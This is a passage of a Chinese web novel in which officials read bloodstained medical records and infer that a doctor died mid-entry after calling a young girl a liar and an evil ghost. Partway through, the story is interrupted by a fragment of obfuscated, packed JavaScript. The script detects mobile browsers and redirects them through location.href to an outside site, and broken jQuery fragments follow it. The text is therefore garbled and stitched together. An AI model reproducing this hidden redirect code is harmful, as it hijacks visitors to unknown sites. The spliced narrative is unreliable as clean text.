“我知道大家想的是什么,”
沉默片刻后,白衣官员点了点其中一张纸的后半部分,语气变得比刚刚严肃了不少,“但你看这里,从这里开始,字迹变得开始颤抖,显然对闵兰的病情异常稳定感到诧异,又或者说是……怀疑。”
“怀疑?”有人道。
萧明灿转过头,看着白衣官员坐在人群中间,拿起面前的那张泛黄破损的纸,举给所有人看,“这里,这里的字迹已经明显颤抖,记录的人在此之前一直很冷静,虽然有些潦草,但能看清每一个字。各位当中还有人曾在太清学宫中任过职,想必对字迹辨认再清楚不过。随着闵兰的病情越来越稳定,这些字迹却反而变得越来越混乱、犹豫,就好像他开始觉得自己所写的都是错的。”
“话虽如此,可……”侍卫道,“仅仅凭字迹判断当时的状况,会不会太牵强了一些?重要的是接下来到底发生了什么。”
“这正是我要说的。”官员举起一个被撕了一半的簿子。那簿子的第一页下半部分已经完全被血迹晕染,纸面被扯得褶皱,从上面寥寥无几的字里,能看出这依旧是闵兰的病情记录,上面的记述也和前几日大差不差,“你们看这里,”
他手指停在最后一个字上,“这一片没有被沙土和血迹模糊,但是却没有字了,说明什么?”
他又点了点最后一个字。
不远处,千机营的官员看着那写了一半的字,“……他还没来得及写完?”
白衣官员点点头,又点了点那片血迹,“再往后也没有任何关于病情的记录,无论是谁的记录都没有,这说明什么?”他指了指那面字墙,又看了一圈惊疑不定的众人,强调道:“他还没来得及写完,就出事了。”
萧明灿站起身,走向外室。
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258519|157334||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
>“然后……”官员用拇指沾了下舌头,迅速往后翻动两页,只见两页褶皱的空白纸张后,赫然写着一堆锋利扭曲的字,边角全是写字时印下的血掌印,“骗子……”他给周围人逐一辨识道:“她是骗子……恶鬼……我们都被她蒙骗了。”
几个年轻一点的官员吓得嘴唇渗白,“这……这……”
这是什么意思?
这所谓的“骗子”、“恶鬼”,真的是在指闵兰吗?
发生在这间石屋里的屠杀难道也和闵兰有关?
这真的和一个年仅八岁的孩子有关吗?
该如何证实这些可怕的推测?
“……快,快,再去确认一遍,最后的记述是九月十日子时,看看这之后再有没有病情记述。”一个官员反应过来,迅速将地上的纸堆分成几摞,发给附近的人,“不是闵兰,其他人的也行!”
众人立刻动起来。萧明灿看着那些纸在人群中传递,那些字迹不同却工整平顺的记录被褶皱和泥土遮盖,火光照着泛黄破损的边角。其中一个官员小跑着去接那一沓纸,结果不小心踩到了节手骨,摔了一跤,纸页散落一地。萧明灿弯腰捡起脚边的几张纸。屋顶瓦砖被踩动的哗啦声响隐匿在人群的商议里。
“这处片屋群曾经安置过四十一个‘病人’,其中二十九个已经死亡,三个处于重伤濒死。剩下的这些人里,只有闵兰是女孩。”萧明灿望着上面的记述,招招手,接过官员递来的那半个簿子,“至少这个猜测是对的,为闵兰医治的大夫所说的‘恶鬼’和‘骗子’,指的就是闵兰。”